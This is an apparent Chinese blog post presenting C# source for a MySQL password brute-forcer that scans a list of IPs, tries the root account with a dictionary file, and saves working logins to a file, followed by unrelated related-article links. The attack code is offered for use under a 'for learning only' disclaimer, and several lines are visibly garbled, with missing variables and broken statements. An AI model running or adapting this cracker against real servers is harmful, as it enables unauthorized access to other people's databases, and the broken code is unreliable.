C#Mysql数据库爆破源码
声明: 代码仅供学习参考使用!开启了一个子线程,进行爆破!
速度不是很快,代码不是很规范,希望大牛不要喷我!
c#控制台程序,需要引用MySql.Data.dll
默认用户名: root
密码字典: pass.txt
扫描好的ip: ip.txt
用法:
for /f "eol= tokens=1 delims= " %%i in (ip.txt) do call 程序名称 %%i
或者
程序名称 目标地址
- using System;
- using System.Collections.Generic;
- using System.Text;
- using System.IO;
- using System.Threading;
- using System.Data;
- using MySql.Data.MySqlClient;
- using System.Diagnostics;
- using System.Net.Sockets;
- /**************************************
- 时间:2015年12月24日19:07:50
- 作者: 小手一抖
- 谨记: 源码仅供学习。
- ***************************************/
- namespace Reaps
- {
- class Program
- {
- static string pwdPath;
- static string[] fs;
- ;
- ;
- static string user = "root";
- private static void Connect(string ip, string user, string password)
- {
- string connSting = string.Concat(new string[]
- {
- "Server=",
- ip,
- ";UserId=",
- user,
- ";Password=",
- password,
- ";Database=mysql;",
- "Connection Timeout=30",
- });
- using (MySqlConnection conn = new MySqlConnection(connSting))
- {
- try
- {
- conn.Open();
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine("[Yes] Host:" + ip + "\tLogin:" + user + "\tPassword:" + password);
- Console.ForegroundColor = ConsoleColor.White;
- string path = Environment.CurrentDirectory + @"\good.txt";
- using (StreamWriter su = new StreamWriter(path, true, Encoding.Default))
- {
- su.WriteLine(ip + " " + user + " " + password);
- }
- }
- catch (Exception)
- {
- Console.ForegroundColor = ConsoleColor.White;
- Console.WriteLine("[No] Host:" + ip + "\tLogin:" + user + "\tPassword:" + password);
- }
- }
- }
- /// <summary>
- /// 检测端口开放
- /// </summary>
- /// <param name="ip">地址</param>
- /// <param name="port">端口</param>
- /// <returns></returns>
- private static bool IsPortOpen(string ip,int port)
- {
- try
- {
- new TcpClient(ip, port).GetStream();
- return true;
- }
- catch (Exception)
- {
- return false;
- }
- }
- private static void CrackSql(string ip)
- {
- {
- while (true)
- {
- int temp = index++;
- if (index > fs.Length)
- {
- break;
- }
- if (IsPortOpen(ip, dbPort))
- {
- Connect(ip, user, fs[temp]);
- }
- else
- {
- break;
- }
- }
- }
- }
- static void Main(string[] args)
- {
- try
- {
- pwdPath = Environment.CurrentDirectory + @"\pass.txt";
- fs = File.ReadAllLines(pwdPath, Encoding.Default);
- Console.WriteLine("[+] 版本 2015122");
- Console.WriteLine("[+] 加载数据成功");
- )
- {
- Console.WriteLine("[+] 密码不能为0条");
- Thread.Sleep();
- Environment.Exit();
- }
- Console.WriteLine("[+] 密 码:{0} 条", fs.Length);
- Thread th = ]));
- th.Start();
- }
- catch (Exception ex)
- {
- Console.WriteLine("[+] 加载数据失败");
- Console.WriteLine("[+] " + ex.Message.ToString());
- Thread.Sleep();
- Environment.Exit();
- }
- }
- }
- }
C#Mysql数据库爆破源码的更多相关文章
- PHP批量替换MySql数据库中的数据内容(替换MySql数据库内容源码)
PHP批量替换MySql数据库内容 UTF-8 1.0版 <?php //声明 //1.本源码开发意图:作者在使用一些CMS建站的时候发现很多CMS把网址写入到数据库了,如果换网址,那么就需要更 ...
- linux下MySQL 5.6源码安装
linux下MySQL 5.6源码安装 1.下载:当前mysql版本到了5.6.20 http://dev.mysql.com/downloads/mysql 选择Source Code 2.必要软件 ...
- MySQL 5.7 源码中的目录结构
MySQl Server的源码可以直接去Github浏览. 这里我们选择5.7版本的:https://github.com/mysql/mysql-server/tree/5.7 也可以通过: git ...
- 时序数据库 Apache-IoTDB 源码解析之系统架构(二)
上一章聊到时序数据是什么样,物联网行业中的时序数据的特点:存量数据大.新增数据多(采集频率高.设备量多).详情请见: 时序数据库 Apache-IoTDB 源码解析之前言(一) 打一波广告,欢迎大家访 ...
- (3.1)mysql基础深入——mysql二进制与源码目录结构介绍
(3.1)mysql基础深入——mysql二进制与源码目录结构介绍 关键字:二进制目录结构,源码目录结构(编译安装目录结构) 1.二进制安装程序目录结构 [1] BIN -- mysql的可执行文件( ...
- Linux 中mysql安装(源码安装方式)
本文是介绍以源码安装的方式编译和安装Mysql 5.6(可以指定安装路径),也可以不采用源码安装方式,直接用安装包的方式. 源码安装方式慎用,容易报错. 1.卸载旧版本 rpm -qa | grep ...
- 时序数据库 Apache-IoTDB 源码解析之文件数据块(四)
上一章聊到行式存储.列式存储的基本概念,并介绍了 TsFile 是如何存储数据以及基本概念.详情请见: 时序数据库 Apache-IoTDB 源码解析之文件格式简介(三) 打一波广告,欢迎大家访问Io ...
- 时序数据库 Apache-IoTDB 源码解析之文件格式简介(三)
上一章聊到在车联网或物联网中对数据库的需求,以及 IoTDB 的整体架构,详情请见: 时序数据库 Apache-IoTDB 源码解析之系统架构(二) 打一波广告,欢迎大家访问IoTDB 仓库,求一波 ...
- 时序数据库 Apache-IoTDB 源码解析之文件索引块(五)
上一章聊到 TsFile 的文件组成,以及数据块的详细介绍.详情请见: 时序数据库 Apache-IoTDB 源码解析之文件数据块(四) 打一波广告,欢迎大家访问IoTDB 仓库,求一波 Star. ...
随机推荐
- PHPの页面跳转-常见方法
PHP页面跳转一.header()函数 header()函数是PHP中进行页面跳转的一种十分简单的方法.header()函数的主要功能是将HTTP协议标头(header)输出到浏览器. header( ...
- java反射 -Class类
Class类:任何类都是Class类的对象 Class类的实例对象的三种表现形式:1.通过某个类的.class实现 2.某个类的对象的getClass()方法 3.Class.forName() 注意 ...
- 转:VC中WORD,DWORD,unsigned long,unsigned short的区别(转)
typedef unsigned long DWORD;typedef int BOOL;typedef unsigned char BYTE; ...
- The 500 Most Commonly Used Words in the English Language
Based on the combined results of British English, American English and Australian English surveys of ...
- PCB敷铜小结
有人说加大敷铜可以加大散热面,其实,对于此我不以为然.我说过铜是一种散热吸热快的金属,如果加大散热面要靠加大敷铜的面积的话,那就没有必要给很多的器件加热片了,我想大家对于计算机都颇有心得,一定攒过电脑 ...
- VCRedist.exe静默安装方法(转)
INNO setup 制作安装包 的时候,发布VC++运行时 [Run]Filename: {app}vcredist_x86.exe; Parameters: /q; WorkingDir: {t ...
- Linq中join & group join & left join 的用法
Linq中join & group join & left join 的用法 2013-01-30 11:12 12154人阅读 评论(0) 收藏 举报 分类: C#(14) 文章 ...
- BZOJ2453: 维护队列
2453: 维护队列 Time Limit: 10 Sec Memory Limit: 128 MBSubmit: 183 Solved: 89[Submit][Status] Descripti ...
- Android录音服务
MediaRecorder Mediarecorder=new MediaRecorder();//创建一个MediaRecorder对象 Mediarecorder.setAudioSource(M ...
- MongoDB开发学习(1)开天辟地,经典入门
原文地址:http://www.cnblogs.com/xumingxiang/archive/2012/04/08/2437468.html 如果你从来没有接触MongoDB或对MongoDB有一点 ...